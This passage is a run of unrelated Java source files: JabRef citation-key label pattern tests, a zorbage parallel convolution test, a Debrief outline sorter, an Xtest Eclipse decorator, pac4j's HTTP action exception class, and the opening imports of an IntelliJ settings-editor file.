Assert.assertEquals("NewtonEtAl", LabelPatternUtil.authEtal(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_3, delim, append));
Assert.assertEquals("NewtonMaxwell", LabelPatternUtil.authEtal(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_2, delim, append));
}
/**
* Test the [authshort] pattern
*/
@Test
public void testAuthShort() {
// tests taken from the comments
Assert.assertEquals(
"NME+",
LabelPatternUtil.authshort(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_4));
Assert.assertEquals(
"NME",
LabelPatternUtil.authshort(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3));
Assert.assertEquals(
"NM",
LabelPatternUtil.authshort(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2));
Assert.assertEquals(
"Newton",
LabelPatternUtil.authshort(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1));
}
/**
* Test the [authN_M] pattern
*/
@Test
public void authN_M() {
Assert.assertEquals(
"N",
LabelPatternUtil.authN_M(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1, 1, 1));
Assert.assertEquals(
"Max",
LabelPatternUtil.authN_M(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2, 3, 2));
Assert.assertEquals(
"New",
LabelPatternUtil.authN_M(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3, 3, 1));
Assert.assertEquals(
"Bo",
LabelPatternUtil.authN_M(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_4, 2, 4));
Assert.assertEquals(
"Bohr",
LabelPatternUtil.authN_M(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_5, 6, 4));
Assert.assertEquals(
"Aal",
LabelPatternUtil.authN_M(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_1, 3, 1));
Assert.assertEquals(
"Less",
LabelPatternUtil.authN_M(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_2, 4, 2));
Assert.assertEquals(
"",
LabelPatternUtil.authN_M("", 2, 4));
}
@Test(expected = NullPointerException.class)
public void authN_MThrowsNPE() {
LabelPatternUtil.authN_M(null, 2, 4);
}
/**
* Tests [authForeIni]
*/
@Test
public void firstAuthorForenameInitials() {
Assert.assertEquals(
"I",
LabelPatternUtil.firstAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1));
Assert.assertEquals(
"I",
LabelPatternUtil.firstAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2));
Assert.assertEquals(
"I",
LabelPatternUtil.firstAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_1));
Assert.assertEquals(
"I",
LabelPatternUtil.firstAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_COUNT_2));
}
/**
* Tests [authFirstFull]
*/
@Test
public void firstAuthorVonAndLast() {
Assert.assertEquals(
"vanderAalst",
LabelPatternUtil.firstAuthorVonAndLast(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_1));
Assert.assertEquals(
"vanderAalst",
LabelPatternUtil.firstAuthorVonAndLast(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_2));
}
/**
* Tests [authors]
*/
@Test
public void testAllAuthors() {
Assert.assertEquals(
"Newton",
LabelPatternUtil.allAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1));
Assert.assertEquals(
"NewtonMaxwell",
LabelPatternUtil.allAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2));
Assert.assertEquals(
"NewtonMaxwellEinstein",
LabelPatternUtil.allAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3));
}
/**
* Tests [authorsAlpha]
*/
@Test
public void authorsAlpha() {
Assert.assertEquals(
"New",
LabelPatternUtil.authorsAlpha(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1));
Assert.assertEquals(
"NM",
LabelPatternUtil.authorsAlpha(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2));
Assert.assertEquals(
"NME",
LabelPatternUtil.authorsAlpha(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3));
Assert.assertEquals(
"NMEB",
LabelPatternUtil.authorsAlpha(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_4));
Assert.assertEquals(
"NME+",
LabelPatternUtil.authorsAlpha(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_5));
Assert.assertEquals(
"vdAal",
LabelPatternUtil.authorsAlpha(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_1));
Assert.assertEquals(
"vdAvL",
LabelPatternUtil.authorsAlpha(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_2));
}
/**
* Tests [authorLast]
*/
@Test
public void lastAuthor() {
Assert.assertEquals(
"Newton",
LabelPatternUtil.lastAuthor(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1));
Assert.assertEquals(
"Maxwell",
LabelPatternUtil.lastAuthor(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2));
Assert.assertEquals(
"Einstein",
LabelPatternUtil.lastAuthor(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3));
Assert.assertEquals(
"Bohr",
LabelPatternUtil.lastAuthor(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_4));
Assert.assertEquals(
"Unknown",
LabelPatternUtil.lastAuthor(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_5));
Assert.assertEquals(
"Aalst",
LabelPatternUtil.lastAuthor(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_1));
Assert.assertEquals(
"Lessen",
LabelPatternUtil.lastAuthor(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_2));
}
/**
* Tests [authorLastForeIni]
*/
@Test
public void lastAuthorForenameInitials() {
Assert.assertEquals(
"I",
LabelPatternUtil.lastAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1));
Assert.assertEquals(
"J",
LabelPatternUtil.lastAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2));
Assert.assertEquals(
"A",
LabelPatternUtil.lastAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3));
Assert.assertEquals(
"N",
LabelPatternUtil.lastAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_4));
Assert.assertEquals(
"H",
LabelPatternUtil.lastAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_5));
Assert.assertEquals(
"W",
LabelPatternUtil.lastAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_1));
Assert.assertEquals(
"T",
LabelPatternUtil.lastAuthorForenameInitials(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_2));
}
/**
* Tests [authorIni]
*/
@Test
public void oneAuthorPlusIni() {
Assert.assertEquals(
"Newto",
LabelPatternUtil.oneAuthorPlusIni(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1));
Assert.assertEquals(
"NewtoM",
LabelPatternUtil.oneAuthorPlusIni(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2));
Assert.assertEquals(
"NewtoME",
LabelPatternUtil.oneAuthorPlusIni(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3));
Assert.assertEquals(
"NewtoMEB",
LabelPatternUtil.oneAuthorPlusIni(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_4));
Assert.assertEquals(
"NewtoMEBU",
LabelPatternUtil.oneAuthorPlusIni(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_5));
Assert.assertEquals(
"Aalst",
LabelPatternUtil.oneAuthorPlusIni(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_1));
Assert.assertEquals(
"AalstL",
LabelPatternUtil.oneAuthorPlusIni(AUTHOR_STRING_FIRSTNAME_FULL_LASTNAME_FULL_WITH_VAN_COUNT_2));
}
/**
* Tests the [authorsN] pattern. -> [authors1]
*/
@Test
public void testNAuthors1() {
Assert.assertEquals("Newton",
LabelPatternUtil.NAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1, 1));
Assert.assertEquals("NewtonEtAl",
LabelPatternUtil.NAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2, 1));
Assert.assertEquals("NewtonEtAl",
LabelPatternUtil.NAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3, 1));
Assert.assertEquals("NewtonEtAl",
LabelPatternUtil.NAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_4, 1));
}
/**
* Tests the [authorsN] pattern. -> [authors3]
*/
@Test
public void testNAuthors3() {
Assert.assertEquals(
"Newton",
LabelPatternUtil.NAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_1, 3));
Assert.assertEquals(
"NewtonMaxwell",
LabelPatternUtil.NAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_2, 3));
Assert.assertEquals(
"NewtonMaxwellEinstein",
LabelPatternUtil.NAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_3, 3));
Assert.assertEquals(
"NewtonMaxwellEinsteinEtAl",
LabelPatternUtil.NAuthors(AUTHOR_STRING_FIRSTNAME_INITIAL_LASTNAME_FULL_COUNT_4, 3));
}
@Test
public void testFirstPage() {
Assert.assertEquals("7", LabelPatternUtil.firstPage("7--27"));
Assert.assertEquals("27", LabelPatternUtil.firstPage("--27"));
Assert.assertEquals("", LabelPatternUtil.firstPage(""));
Assert.assertEquals("42", LabelPatternUtil.firstPage("42--111"));
Assert.assertEquals("7", LabelPatternUtil.firstPage("7,41,73--97"));
Assert.assertEquals("7", LabelPatternUtil.firstPage("41,7,73--97"));
Assert.assertEquals("43", LabelPatternUtil.firstPage("43+"));
try {
LabelPatternUtil.firstPage(null);
Assert.fail();
} catch (NullPointerException ignored) {
// Ignored
}
}
@Test
public void testLastPage() {
Assert.assertEquals("27", LabelPatternUtil.lastPage("7--27"));
Assert.assertEquals("27", LabelPatternUtil.lastPage("--27"));
Assert.assertEquals("", LabelPatternUtil.lastPage(""));
Assert.assertEquals("111", LabelPatternUtil.lastPage("42--111"));
Assert.assertEquals("97", LabelPatternUtil.lastPage("7,41,73--97"));
Assert.assertEquals("97", LabelPatternUtil.lastPage("7,41,97--73"));
Assert.assertEquals("43", LabelPatternUtil.lastPage("43+"));
try {
LabelPatternUtil.lastPage(null);
Assert.fail();
} catch (NullPointerException ignored) {
// Ignored
}
}
/**
* Tests [veryShortTitle]
*/
@Test
public void veryShortTitle() {
// veryShortTitle is getTitleWords with "1" as count
final int count = 1;
Assert.assertEquals(
"application",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_ALL_LOWER_FOUR_SMALL_WORDS_ONE_EN_DASH));
Assert.assertEquals(
"BPEL",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_ALL_LOWER_FIRST_WORD_IN_BRACKETS_TWO_SMALL_WORDS_SMALL_WORD_AFTER_COLON));
Assert.assertEquals(
"Process",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED));
Assert.assertEquals(
"BPMN",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED_ONE_UPPER_WORD_ONE_SMALL_WORD));
Assert.assertEquals(
"Difference",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED_TWO_SMALL_WORDS_SMALL_WORD_AT_THE_BEGINNING));
Assert.assertEquals(
"Cloud",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED_TWO_SMALL_WORDS_SMALL_WORD_AFTER_COLON));
Assert.assertEquals(
"Towards",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED_TWO_SMALL_WORDS_ONE_CONNECTED_WORD));
Assert.assertEquals(
"Measurement",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED_FOUR_SMALL_WORDS_TWO_CONNECTED_WORDS));
}
/**
* Tests [shortTitle]
*/
@Test
public void shortTitle() {
// veryShortTitle is getTitleWords with "3" as count
final int count = 3;
Assert.assertEquals(
"applicationmigrationeffort",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_ALL_LOWER_FOUR_SMALL_WORDS_ONE_EN_DASH));
Assert.assertEquals(
"BPELconformanceopen",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_ALL_LOWER_FIRST_WORD_IN_BRACKETS_TWO_SMALL_WORDS_SMALL_WORD_AFTER_COLON));
Assert.assertEquals(
"ProcessViewingPatterns",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED));
Assert.assertEquals(
"BPMNConformanceOpen",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED_ONE_UPPER_WORD_ONE_SMALL_WORD));
Assert.assertEquals(
"DifferenceGraphBased",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED_TWO_SMALL_WORDS_SMALL_WORD_AT_THE_BEGINNING));
Assert.assertEquals(
"CloudComputingNext",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED_TWO_SMALL_WORDS_SMALL_WORD_AFTER_COLON));
Assert.assertEquals(
"TowardsChoreographybased",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED_TWO_SMALL_WORDS_ONE_CONNECTED_WORD));
Assert.assertEquals(
"MeasurementDesignTime",
LabelPatternUtil.getTitleWords(count, TITLE_STRING_CASED_FOUR_SMALL_WORDS_TWO_CONNECTED_WORDS));
}
@Test
public void keywordN_keywordsSeparatedBySpace() {
BibtexEntry entry = new BibtexEntry();
entry.setField("keywords", "w1, w2a w2b, w3");
String result = LabelPatternUtil.makeLabel(entry, "keyword1");
Assert.assertEquals("w1", result);
// check keywords with space
result = LabelPatternUtil.makeLabel(entry, "keyword2");
Assert.assertEquals("w2a w2b", result);
// check out of range
result = LabelPatternUtil.makeLabel(entry, "keyword4");
Assert.assertEquals("", result);
}
@Test
public void keywordsN_keywordsSeparatedBySpace() {
BibtexEntry entry = new BibtexEntry();
entry.setField("keywords", "w1, w2a w2b, w3");
// all keywords
String result = LabelPatternUtil.makeLabel(entry, "keywords");
Assert.assertEquals("w1w2aw2bw3", result);
// check keywords with space
result = LabelPatternUtil.makeLabel(entry, "keywords2");
Assert.assertEquals("w1w2aw2b", result);
// check out of range
result = LabelPatternUtil.makeLabel(entry, "keywords55");
Assert.assertEquals("w1w2aw2bw3", result);
}
}
|
package nom.bdezonia.zorbage.algorithm;
import static org.junit.Assert.assertEquals;
import org.junit.Test;
import nom.bdezonia.zorbage.algebras.G;
import nom.bdezonia.zorbage.multidim.MultiDimDataSource;
import nom.bdezonia.zorbage.multidim.MultiDimStorage;
import nom.bdezonia.zorbage.multidim.ProcedurePaddedMultiDimDataSource;
import nom.bdezonia.zorbage.oob.nd.ZeroNdOOB;
import nom.bdezonia.zorbage.sampling.IntegerIndex;
import nom.bdezonia.zorbage.sampling.SamplingCartesianIntegerGrid;
import nom.bdezonia.zorbage.sampling.SamplingIterator;
import nom.bdezonia.zorbage.type.data.float64.real.Float64Algebra;
import nom.bdezonia.zorbage.type.data.float64.real.Float64Member;
/**
*
* @author Barry DeZonia
*
*/
public class TestParallelConvolveND {
@Test
public void test1() {
Float64Member value = G.DBL.construct();
MultiDimDataSource<Float64Member> filter = MultiDimStorage.allocate(new long[] {3, 3}, value);
MultiDimDataSource<Float64Member> a = MultiDimStorage.allocate(new long[] {400, 333}, value);
ZeroNdOOB<Float64Algebra, Float64Member> proc = new ZeroNdOOB<Float64Algebra, Float64Member>(G.DBL, a);
ProcedurePaddedMultiDimDataSource<Float64Algebra, Float64Member> padded = new ProcedurePaddedMultiDimDataSource<Float64Algebra, Float64Member>(G.DBL, a, proc);
MultiDimDataSource<Float64Member> b1 = MultiDimStorage.allocate(new long[] {400, 333}, value);
MultiDimDataSource<Float64Member> b2 = MultiDimStorage.allocate(new long[] {400, 333}, value);
Fill.compute(G.DBL, G.DBL.random(), a.rawData());
IntegerIndex idx = new IntegerIndex(filter.numDimensions());
idx.set(0, 0);
idx.set(1, 0);
value.setV(1);
filter.set(idx, value);
idx.set(0, 1);
idx.set(1, 0);
value.setV(2);
filter.set(idx, value);
idx.set(0, 2);
idx.set(1, 0);
value.setV(3);
filter.set(idx, value);
idx.set(0, 0);
idx.set(1, 1);
value.setV(4);
filter.set(idx, value);
idx.set(0, 1);
idx.set(1, 1);
value.setV(5);
filter.set(idx, value);
idx.set(0, 2);
idx.set(1, 1);
value.setV(6);
filter.set(idx, value);
idx.set(0, 0);
idx.set(1, 2);
value.setV(7);
filter.set(idx, value);
idx.set(0, 1);
idx.set(1, 2);
value.setV(8);
filter.set(idx, value);
idx.set(0, 2);
idx.set(1, 2);
value.setV(9);
filter.set(idx, value);
ConvolveND.compute(G.DBL, filter, padded, b1);
ParallelConvolveND.compute(G.DBL, filter, padded, b2);
IntegerIndex dataMin = new IntegerIndex(filter.numDimensions());
IntegerIndex dataMax = new IntegerIndex(filter.numDimensions());
for (int i = 0; i < a.numDimensions(); i++) {
dataMax.set(i, a.dimension(i) - 1);
}
SamplingCartesianIntegerGrid dataBounds =
new SamplingCartesianIntegerGrid(dataMin, dataMax);
SamplingIterator<IntegerIndex> iter = dataBounds.iterator();
Float64Member v1 = G.DBL.construct();
Float64Member v2 = G.DBL.construct();
while (iter.hasNext()) {
iter.next(idx);
b1.get(idx, v1);
b2.get(idx, v2);
assertEquals(v1.v(), v2.v(), 0);
}
}
@Test
public void test2() {
Float64Member value = G.DBL.construct();
MultiDimDataSource<Float64Member> filter = MultiDimStorage.allocate(new long[] {3, 3}, value);
MultiDimDataSource<Float64Member> a = MultiDimStorage.allocate(new long[] {400, 333}, value);
ZeroNdOOB<Float64Algebra, Float64Member> proc = new ZeroNdOOB<Float64Algebra, Float64Member>(G.DBL, a);
ProcedurePaddedMultiDimDataSource<Float64Algebra, Float64Member> padded = new ProcedurePaddedMultiDimDataSource<Float64Algebra, Float64Member>(G.DBL, a, proc);
MultiDimDataSource<Float64Member> b1 = MultiDimStorage.allocate(new long[] {400, 333}, value);
MultiDimDataSource<Float64Member> b2 = MultiDimStorage.allocate(new long[] {400, 333}, value);
Fill.compute(G.DBL, G.DBL.random(), a.rawData());
IntegerIndex idx = new IntegerIndex(filter.numDimensions());
idx.set(0, 0);
idx.set(1, 0);
value.setV(1);
filter.set(idx, value);
idx.set(0, 1);
idx.set(1, 0);
value.setV(2);
filter.set(idx, value);
idx.set(0, 2);
idx.set(1, 0);
value.setV(3);
filter.set(idx, value);
idx.set(0, 0);
idx.set(1, 1);
value.setV(4);
filter.set(idx, value);
idx.set(0, 1);
idx.set(1, 1);
value.setV(5);
filter.set(idx, value);
idx.set(0, 2);
idx.set(1, 1);
value.setV(6);
filter.set(idx, value);
idx.set(0, 0);
idx.set(1, 2);
value.setV(7);
filter.set(idx, value);
idx.set(0, 1);
idx.set(1, 2);
value.setV(8);
filter.set(idx, value);
idx.set(0, 2);
idx.set(1, 2);
value.setV(9);
filter.set(idx, value);
int numTrials = 20;
long t1 = System.currentTimeMillis();
for (int i = 0; i < numTrials; i++) {
ConvolveND.compute(G.DBL, filter, padded, b1);
}
long t2 = System.currentTimeMillis();
for (int i = 0; i < numTrials; i++) {
ParallelConvolveND.compute(G.DBL, filter, padded, b2);
}
long t3 = System.currentTimeMillis();
System.out.println("Regular convolveND : "+(t2-t1));
System.out.println("Parallel convolveND : "+(t3-t2));
}
}
|
package org.mwc.cmap.core.ui_support;
import java.util.Comparator;
import org.eclipse.jface.viewers.Viewer;
import org.eclipse.jface.viewers.ViewerSorter;
import org.mwc.cmap.core.property_support.EditableWrapper;
import Debrief.Wrappers.SensorWrapper;
import MWC.GUI.Editable;
import MWC.GenericData.HiResDate;
import MWC.GenericData.Watchable;
public class OutlineNameSorter extends ViewerSorter
{
public static interface NameSortHelper
{
boolean sortByDate();
}
private NameSortHelper _sortHelper;
public OutlineNameSorter()
{
this(new NameSortHelper()
{
@Override
public boolean sortByDate()
{
return false;
}
});
}
public OutlineNameSorter(final NameSortHelper helper)
{
_sortHelper = helper;
}
public static class EditableComparer implements Comparator<Editable>
{
@Override
public int compare(Editable arg0, Editable arg1)
{
return compareEditables(arg0, arg1);
}
}
@Override
public int compare(final Viewer viewer, final Object e1, final Object e2)
{
return compare(e1, e2);
}
@SuppressWarnings("unchecked")
protected static int compareEditables(final Editable e1, final Editable e2)
{
final int res;
// ha. if they're watchables, sort them in time order
if ((e1 instanceof Watchable) && (e2 instanceof Watchable))
{
final Watchable wa = (Watchable) e1;
final Watchable wb = (Watchable) e2;
// hmm, just check we have times
final HiResDate ha = wa.getTime();
final HiResDate hb = wb.getTime();
if ((ha != null) && (hb != null))
{
res = wa.getTime().compareTo(wb.getTime());
}
else
{
res = e1.getName().compareTo(e2.getName());
}
}
else if ((e1 instanceof Comparable) && (e2 instanceof Comparable))
{
@SuppressWarnings("rawtypes")
final Comparable p1c = (Comparable) e1;
@SuppressWarnings("rawtypes")
final Comparable p2c = (Comparable) e2;
res = p1c.compareTo(p2c);
}
else
{
final String p1Name = e1.getName();
final String p2Name = e2.getName();
res = p1Name.compareTo(p2Name);
}
return res;
}
@SuppressWarnings("unchecked")
public int compare(final Object e1, final Object e2)
{
final int res;
if ((e1 instanceof Comparable) && (e2 instanceof Comparable))
{
// special case. Just double-check they aren't sensor wrappers
if (e1 instanceof EditableWrapper && e2 instanceof EditableWrapper)
{
final EditableWrapper p1 = (EditableWrapper) e1;
final EditableWrapper p2 = (EditableWrapper) e2;
if (p1.getEditable() instanceof SensorWrapper
&& p2.getEditable() instanceof SensorWrapper)
{
return compareSensors((SensorWrapper) p1.getEditable(),
(SensorWrapper) p2.getEditable());
}
else
{
return compareEditables(p1.getEditable(), p2.getEditable());
}
}
else
{
// just see if we have sorted editables
final Comparable<Object> w1 = (Comparable<Object>) e1;
final Comparable<Object> w2 = (Comparable<Object>) e2;
res = w1.compareTo(w2);
}
}
else
{
if (e1 instanceof EditableWrapper && e2 instanceof EditableWrapper)
{
final EditableWrapper p1 = (EditableWrapper) e1;
final EditableWrapper p2 = (EditableWrapper) e2;
return compareEditables(p1.getEditable(), p2.getEditable());
}
else
{
return e1.toString().compareTo(e2.toString());
}
}
return res;
}
private int compareSensors(SensorWrapper s1, SensorWrapper s2)
{
// hmm, just check we have times
final HiResDate ha = s1.getStartDTG();
final HiResDate hb = s2.getStartDTG();
final int res;
if (_sortHelper.sortByDate() && (ha != null) && (hb != null))
{
res = ha.compareTo(hb);
}
else
{
res = s1.getName().compareTo(s2.getName());
}
return res;
}
}
|
package org.xtest.ui.decorators;
import org.eclipse.core.internal.runtime.AdapterManager;
import org.eclipse.core.resources.IContainer;
import org.eclipse.core.resources.IFile;
import org.eclipse.core.resources.IResource;
import org.eclipse.core.runtime.CoreException;
import org.eclipse.jdt.core.IPackageFragment;
import org.eclipse.jdt.ui.ProblemsLabelDecorator;
import org.eclipse.jface.viewers.IDecoration;
import org.xtest.ui.internal.XtestPluginImages;
/**
* Custom icon decorator for Xtest files and projects/packages containing xtest files
*
* @author Michael Barry
*/
public class XtestNavigatorTreeDecorator extends ProblemsLabelDecorator {
@Override
public void decorate(Object input, IDecoration decorator) {
Object adapter = AdapterManager.getDefault().getAdapter(input, IResource.class);
if (adapter instanceof IResource) {
IResource resource = (IResource) adapter;
try {
// Don't show errors from
int depth = input instanceof IPackageFragment ? IResource.DEPTH_ONE
: IResource.DEPTH_INFINITE;
if (containsXtestFile(resource, depth) && 0 == computeAdornmentFlags(input)) {
decorator.addOverlay(XtestPluginImages.OK_OVERLAY, IDecoration.BOTTOM_LEFT);
}
} catch (CoreException e) {
}
}
}
private boolean containsXtestFile(IResource input, int depth) throws CoreException {
boolean result = false;
int nextDepth = depth == IResource.DEPTH_INFINITE ? IResource.DEPTH_INFINITE
: IResource.DEPTH_ZERO;
String fileExtension = input instanceof IFile ? ((IFile) input).getFileExtension() : null;
if (fileExtension != null && fileExtension.equals("xtest")) {
result = true;
} else if (input instanceof IContainer && depth != IResource.DEPTH_ZERO) {
for (IResource resource : ((IContainer) input).members()) {
if (containsXtestFile(resource, nextDepth)) {
result = true;
}
}
}
return result;
}
}
|
package org.pac4j.core.exception;
import org.pac4j.core.context.HttpConstants;
import org.pac4j.core.context.WebContext;
import org.pac4j.core.util.CommonHelper;
/**
* This exception is thrown when an additional HTTP action (redirect, basic auth...) is required.
*
* @author Jerome Leleu
* @since 1.4.0
*/
public class RequiresHttpAction extends Exception {
private static final long serialVersionUID = -3959659239684160075L;
protected int code;
protected RequiresHttpAction(final String message, final int code) {
super(message);
this.code = code;
}
/**
* Build a response with message and status.
*
* @param message message
* @param status the HTTP status
* @param context context
* @return an HTTP response
*/
public static RequiresHttpAction status(final String message, final int status, final WebContext context) {
context.setResponseStatus(status);
return new RequiresHttpAction(message, status);
}
/**
* Build a redirection.
*
* @param message message
* @param context context
* @param url url
* @return an HTTP redirection
*/
public static RequiresHttpAction redirect(final String message, final WebContext context, final String url) {
context.setResponseHeader(HttpConstants.LOCATION_HEADER, url);
context.setResponseStatus(HttpConstants.TEMP_REDIRECT);
return new RequiresHttpAction(message, HttpConstants.TEMP_REDIRECT);
}
/**
* Build an HTTP Ok.
*
* @param message message
* @param context context
* @return an HTTP ok
*/
public static RequiresHttpAction ok(final String message, final WebContext context) {
return ok(message, context, "");
}
/**
* Build an HTTP Ok.
*
* @param message message
* @param context context
* @param content content
* @return an HTTP ok
*/
public static RequiresHttpAction ok(final String message, final WebContext context, String content) {
context.setResponseStatus(HttpConstants.OK);
context.writeResponseContent(content);
return new RequiresHttpAction(message, HttpConstants.OK);
}
/**
* Build a basic auth popup credentials.
*
* @param message message
* @param context context
* @param realmName realm name
* @return a basic auth popup credentials
*/
public static RequiresHttpAction unauthorized(final String message, final WebContext context, final String realmName) {
if (CommonHelper.isNotBlank(realmName)) {
context.setResponseHeader(HttpConstants.AUTHENTICATE_HEADER, "Basic realm=\"" + realmName + "\"");
}
context.setResponseStatus(HttpConstants.UNAUTHORIZED);
return new RequiresHttpAction(message, HttpConstants.UNAUTHORIZED);
}
/**
* Build a digest auth popup credentials.
*
* @param message message
* @param context context
* @param realmName realm name
* @param qop qop
* @param nonce nonce
* @return a digest auth popup credentials
*/
public static RequiresHttpAction unauthorizedDigest(final String message, final WebContext context, final String realmName, final String qop, final String nonce) {
if (CommonHelper.isNotBlank(realmName)) {
context.setResponseHeader(HttpConstants.AUTHENTICATE_HEADER, "Digest realm=\"" + realmName + "\", qop=\"" + qop + "\", nonce=\"" + nonce + "\"");
}
context.setResponseStatus(HttpConstants.UNAUTHORIZED);
return new RequiresHttpAction(message, HttpConstants.UNAUTHORIZED);
}
/**
* Build a forbidden response.
*
* @param message message
* @param context context
* @return a forbidden response
*/
public static RequiresHttpAction forbidden(final String message, final WebContext context) {
context.setResponseStatus(HttpConstants.FORBIDDEN);
return new RequiresHttpAction(message, HttpConstants.FORBIDDEN);
}
/**
* Return the HTTP code.
*
* @return the HTTP code
*/
public int getCode() {
return this.code;
}
@Override
public String toString() {
return CommonHelper.toString(RequiresHttpAction.class, "code", this.code);
}
}
|
package com.intellij.openapi.options.newEditor;
import com.intellij.openapi.Disposable;
import com.intellij.openapi.options.Configurable;
import com.intellij.openapi.options.ConfigurableGroup;
import com.intellij.openapi.options.SearchableConfigurable;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.util.ActionCallback;
import com.intellij.openapi.util.Disposer;
import com.intellij.ui.ErrorLabel;
import com.intellij.ui.GroupedElementsRenderer;
import com.intellij.ui.LoadingNode;
import com.intellij.ui.TreeUIHelper;
import com.intellij.ui.treeStructure.*;
import com.intellij.ui.treeStructure.filtered.FilteringTreeBuilder;
import com.intellij.ui.treeStructure.filtered.FilteringTreeStructure;
import com.intellij.util.ui.UIUtil;
import com.intellij.util.ui.update.MergingUpdateQueue;
import com.intellij.util.ui.update.Update;
import org.jetbrains.annotations.Nullable;
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import javax.swing.event.TreeSelectionEvent;
import javax.swing.event.TreeSelectionListener;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.TreeCellRenderer;
import javax.swing.tree.TreePath;
import javax.swing.tree.TreeSelectionModel;
import java.awt.*;
import java.awt.event.ComponentAdapter;
import java.awt.event.ComponentEvent;
import java.awt.event.KeyEvent;
